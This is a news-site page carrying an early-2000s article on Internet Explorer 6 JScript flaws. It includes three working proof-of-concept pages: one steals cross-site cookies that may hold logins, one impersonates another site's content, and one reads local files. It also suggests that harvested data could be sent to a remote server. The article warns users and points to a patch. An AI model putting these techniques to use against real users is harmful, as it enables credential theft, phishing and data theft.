The Montreal Tribune International Canada National  Business

 

Internet Explorer 6 Vulnerabilities

 

What's the latest here? Well, nothing really it's business as usual.  So, it doesn't come as a surprise that Microsoft were in a rush to get Internet Explorer 6 out the door and forgot to take that extra bit of time to debug and test it for security cracks.

If you're wondering how the heck a browser can be hacked, read on. Most important to note, Microsoft's implementation of client side JScript (Microsoft's version of JavaScript) exposes some simple security flaws that allow us to use common JScript functions such as document.open and document.write to spoof another site, steal cookies, and more worryingly physically read existing files on a users machine (all through one or two lines of code.)

Unfortunately, if you're using the standard version of Internet Explorer 6 then you're not safe. The code snippets were tested with both IE6 version 6.0.2479.0006 and version 6.0.2600.0000 and both were prone to the flaws. This is the consequences of someone being able to manipulate your local files from a remote location.

This bring up the important question "Is it worth it to install IE6?". Considering that there are several other browsers available for free (such as Netscape 6 and Opera 5, both of which do a great job of rendering pages closely to the W3C standards), is it worth sacrificing the integrity and security of your system just to get a couple of Internet Explorer 6 options such as smart tags? "I think not!"

For more related articles go to the following link, http://osioniusx.com, you'll see a complete list of coding examples and methods used to exploit these holes. Their examples and info are great. Just to illustrate what I mean a couple of HTML pages were created to show you just how severe the holes are.

Cookies have taken their fair share of slack over the last couple of years, with many people insisting that cookies are not safe and that they can easily be "stolen" by another site. I, like many others, had simply dismissed this idea. If cookies are stored in a file on the visitor's computer, how can anyone access them remotely, right? It's just crazy. Indeed it is.

If you're running IE6, then the persistent cookies for any site you've visited can be stolen using two lines of JScript. Let's give this a test. Go and visit any site that lets you create a members account, but also lets you choose a "remember me for later" option. The "remember me for later" option is commonly used to allow visitors of a site to not have to re-enter their user credentials every time they re-visit the site. On smaller, less-global sites, typically a cookie is saved to the visitors' machine containing both the users login ID and password so that they can be logged in automatically the next time they visit.

Once you've created your new user account, remember the URL of the site. Create a new file named c:cookie_steal.html and enter the following code into it:

<html>
<head>
<title> Mmmmm Gimme Cookie!</title>
<script language="JavaScript">
<!--

function getCookie()
{
url = prompt("Enter a fully qualified domain name:");
win = document.open(url, "urlWin", "top=5000, left=5000, width=1, height=1");
cookie = win.document.cookie;

// Close the window, we&#39;re done with it
win.close();
cookies = cookie.split(&#39;;&#39;);

// How many are there?
num = cookies.length;

for(i = 0; i < num; i++)
{
// Get the cookie from the name/value pair
curCookie = cookies[i].split(&#39;=&#39;);

// Write its name
document.write("<b>" + curCookie[0] + ": </b>");

// Write its value
document.write(curCookie[1] + "<br>");
}
}

-->
</script>
</head>
<body bgcolor="#FFFFFF" onLoad="getCookie()">

</body>
</html>

Load the page in your browser and enter the full domain name (including the http:// part) of the site that you just joined into the popup box. I won't disclose the details of the site that I joined, but here's the output in my browser:

 

This is one major security flaw: cookies were designed and implemented in such a way that one site could never access the cookies from another site, either by client-side code or server-side scripting technologies. I guess it would be understandable if it took 100,000 lines of code and 25 mainframe computers to get the cookies of a remote site from your PC, but using a couple of lines of JScript, well, it's preposterous!

Think of all the ways that these cookies can be used and abused. If John Doe decides to create a page on his site that uses the JScript function above to get cookies from your PC (which could contain your user ID and password) for your online bank account and takes $10,000, them how do you prove it was him? There's no sign of forced entry, and you don't even know that your account details were stolen. Not good at all!

If you're using IE6, never select an option to "remember you for later". This could come back and bite you down the track, when you realize that someone has logged into one of your online accounts and has taken some of your personal data or belongings. Also, if you can live without cookies, do so. Set the security options in IE6 to notify you when cookies are being set, and only accept them if they contain jumbled data, such as an encrypted session ID or variable.

If you open a new web browser window using JScript in IE6 with something like "http://www.company.com" as the URL, then you'd be pretty sure that the page you're viewing actually comes from that domain, right? It's impossible to change the contents of a web page on another domain isn't it? Are you sure? Absolutely sure? Not!

Using just a couple of lines of JScript, you can open a new browser window containing the URL of an external site and modify the body of that page: AKA site impersonation.

Create a new page named c:site_impersonate.html and enter the following code into it:

<html>
<head>
<title> Site Impersonation </title>
<script language="JavaScript">
<!--

function openWin()
{

url = prompt("Enter a fully qualified domain name:");

win = document.open(url, "urlWin", "top=200, left=200, width=300, height=250, resizable=yes, location=yes, status=yes, toolbar=yes");

win.document.write("You entered the domain name of " + url + ", but I&#39;d rather you see this:<br><br><h1>Hello World!</h1>");

}

-->
</script>
</head>
<body bgcolor="#FFFFFF" onLoad="openWin()">

</body>
</html>

Load the page up in IE6 and enter a fully qualified domain name in the popup window (I entered the name of my site, http://www.devarticles.com). Look at what happens when the JScript code opens a new window:

 

Think of the various scenarios where this could threaten your personal security. Next time you click on a link to pay for a credit card purchase and it opens in another window, be 500% sure that the site is who they say they are. To do this, right click in the middle of the page and click the properties option. Make sure the address of the site is actually http://www.payment-gateway.com or whatever the URL of the payment provider is. Here are the properties of the page that we just impersonated:

 

See how the address points to the script that opened the new window? If you're using IE6, always check the address of a page if you're about to enter sensitive information such as your address, phone number, credit card details, etc.

One final example show you how easy it is to grab the contents of a file from a users PC and send it back to a web server for processing and analysing.

The document.open function is used to open documents in a new window. When I say documents I'm roughly talking about HTML pages that reside on some remote server. With most browsers all you can open in a new window is remote documents, remote meaning those that need to be retrieved over a protocol, such as HTTP or FTP. Sure you can use the file:/// syntax to open a local file with most browsers, but you can't do this using client-side code from a remote web page right? or can you?

That's right, thanks to a couple more holes in IE6, it's now possible to see the contents of a file on a clients machine... all with one simple call to the document.open function. Create a new file named c:file_read.html. Enter the following code into it:

<html>
<head>
<title> Local File Reading </title>
<script language="JavaScript">
<!--

function readFile()
{

// What file do we want to read?
fileLoc = &#39;c:/winnt/setuplog.txt&#39;;

file = document.open(fileLoc, "fileWin", "top=5000, left=5000, width=1, height=1");

contents = file.document.body.innerText;

file.close();

document.write("<b>I can see the contents of " + fileLoc + ": </b><br><br>");

document.write("<textarea style=&#39;width:400; height:300&#39;>" + contents + "</textarea>");

}

-->
</script>
</head>
<body bgcolor="#FFFFFF" onLoad="readFile()">

</body>
</html>

The JScript code in the example above retrieves the contents of c:winntsetuplog.txt (which is the log from the installation of Windows 2000) and displays it in a text box on a web page. The location of the local file is specified in the fileLoc variable, and can be any file you like. The only criteria for this code to work are that the file must be either a HTML or text file, and must exist on the users PC.

If you're thinking that you can't do much with text files, then think about XML. XML is a based on text, and if quickly becoming the replacement for traditional INI files. If you knew where a user had an XML file residing on their hard drive, you could grab it and use IE6's built-in XML rendering engine (MSXML) to grab elements from the file. Furthermore, you could use JScript's object handling events to automatically submit that data back to a remote web server (form1.submit())... all while the client has no idea of what's going on. A definite security worry indeed!

Obviously the best way to protect yourself from this hole is to disable client-side scripting completely, raising your security settings to high if you feel the need to do so.

In conclusion, Microsoft had just released a patch to combat most of the holes described in this article. Visit this site for more information. You decide whether or not youd like to use Internet Explorer 6 for your daily web browsing duties.

Resource Links: CIPS, CIPS story, Microsoft's patch site, display properties

FOR COMMENTS ON TODAY'S NEWS PLEASE SEND FEEDBACK TO editor@montrealtribune.com

IF YOU ARE IN THE TEXTILE AND GARMENT BUSINESS AND LOOKING FOR BUYERS IN CANADA Order your copy NOW of the NEW 2003-04  up-dated version or current listing of the Canadian Garment and Textile Buyers Guide and Industry Textile Book (fabric identification in dictionary form) are available at US$50 per copy

Important Notice To The Tribune Viewers! We Delete Thousands of Mails Everyday! If you were to send us e-mails, please make sure your identity is properly shown including the subject you are relaying.. Its our policy not to open attachments which also applies applies to all our correspondents and contributors.

"Check Our Advertising Rate Card"  

It is very important to note following the simple payment instruction at the bottom of the rate card will facilitate posting your ad in The Montreal Tribune. We are strictly not accepting ads on Dating Service, Multi-Level Marketing known as MLM, Porno, and Gambling.

All commercial ads found on and within this site are picked and selected by our affiliates in the United States of America. For Canadian and Overseas advertising, please refer your inquiry to our general agents for Canada,

-------------------------------------------

This is a non profit, non religious, non political, & non racial online website and here's how you can help us stay on line, advertise or be one of our sponsors.   Since we download update news by the hour please view "Yesterday's Front Page".  Archives are only maintained 30 days. You may request copies beyond this time line, if available. Thanks  

In cooperative Link Service with Canadian Broadcasting Corporation Headline News

All Montreal Tribune Correspondents including those from Overseas are issued Press IDs, and could only be used on assignments, for verification purposes please contact the editor

 

This site is best viewed on 800x600 display resolution

For Optimal performance we recommended Internet Explorer Version 5.0+, and Netscape 4.7+

Copyright 2004 All Rights Reserved.

The Montreal Tribune ISSN 1186-2165 This page is one of the on-line pages of 

www.montrealtribune.com

Signed articles are the responsibility of the writers and not those of the publisher and editors of this publication.

Any communication concerning this site should be addressed to the webmaster.

This is a family friendly website - No Porno and Gambling links Allowed